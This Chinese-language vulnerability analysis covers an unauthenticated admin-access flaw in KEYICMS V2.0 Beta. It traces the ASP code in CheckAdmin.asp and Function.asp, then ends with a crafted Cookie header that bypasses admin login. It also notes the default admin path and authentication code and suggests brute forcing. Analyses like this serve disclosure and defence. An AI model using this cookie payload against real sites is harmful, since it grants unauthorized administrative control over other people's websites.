科蚁企业网站内容管理系统 (KEYICMS)是一套ASP的开源系统。KEYICMS V2.0 Beta存在后台未授权访问漏洞,在一定条件下可利用该漏洞绕过后台身份验证,直接获得后台权限。

Keyicms_System/CheckAdmin.asp文件,判断登陆用户是否为管理员。

Keyicms_System/CheckAdmin.asp,第41行代码,Session验证失败。

1
2
3
4
If Session("AdminName")="" Then
Response.Cookies("CompanyZY")("AdminName") = ""
Call Sweetalert("warning", "友情提示", "因您长时间未进行操作,系统自动退出后台,\n请重新登录!", "false", "location.replace('Keyicms_Login.Asp')")
End If

include/Function.asp,第648行,跟进Sweetalert函数。

1
2
3
4
5
6
Function Sweetalert(SweetType, title, text, showButton, action)
response.Write "<!doctype html>" & vbCrLf
response.Write "<link rel='stylesheet' type='text/css' href='Sweetalert/sweet-alert.css'>" & vbCrLf
response.Write "<script src='Sweetalert/sweet-alert.min.js'></script>" & vbCrLf
response.Write "<script>window.onload = function(){swal({title: '"&title&"',text: '"&text&"',type: '"&SweetType&"',showCancelButton: "&showButton&",confirmButtonColor: '#DD6B55',confirmButtonText: '确定'},function(){"&action&"});}</script>"
End Function

可以看到Sweetalert并未结束代码的执行,导致身份验证失败后还能继续执行后面的代码。

要使代码执行到41行,还需满足部分条件。

Keyicms_System/CheckAdmin.asp, 第3行,从cookie中取得登陆身份信息。

1
2
3
4
CompanyAdminName = ReplaceBadChar(Trim(Request.Cookies("CompanyZY")("AdminName")))
CompanyAdminPurview = ReplaceBadChar(Trim(Request.Cookies("CompanyZY")("AdminPurview")))
CompanyLoginSystem = ReplaceBadChar(Trim(Request.Cookies("CompanyZY")("LoginSystem")))
CompanyAdminLoginCode = ReplaceBadChar(Trim(Request.Cookies("CompanyZY")("AdminLoginCode")))

Keyicms_System/CheckAdmin.asp, 第25行,判断参数是都不为空和认证码开启且正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Dim AdminAction
AdminAction = request.QueryString("AdminAction")
Select Case AdminAction
Case "Out"
Call OutLogin()
Case Else
Call Login()
End Select
Sub Login()
If CompanyAdminName = "" Or CompanyAdminPurview = "" Or CompanyLoginSystem <> "Succeed" Or (EnableSiteManageCode = True And CompanyAdminLoginCode <> SiteManageCode) Then
Response.Redirect "Keyicms_Login.Asp"
Response.End
End If
End Sub

验证失败的情况下跳转会登陆页面。

构造满足以上条件的cookie值:

1
Cookie: ASPSESSIONIDSATDDSRR=LBIFPODBGDIKCHLMLINLNCGO; CompanyZY=LoginIP=127%2E0%2E0%2E1&AdminLoginCode=keyicms&LoginSystem=Succeed&AdminPurview=test&AdminName=test

该漏洞的限制条件为

  1. 需要知道后台地址,可使用目录扫描或使用默认地址/Keyicms_System/
  2. 需要知道后台认证码或不启用后台认证码,可以通过暴力破解或使用默认认证码keyicms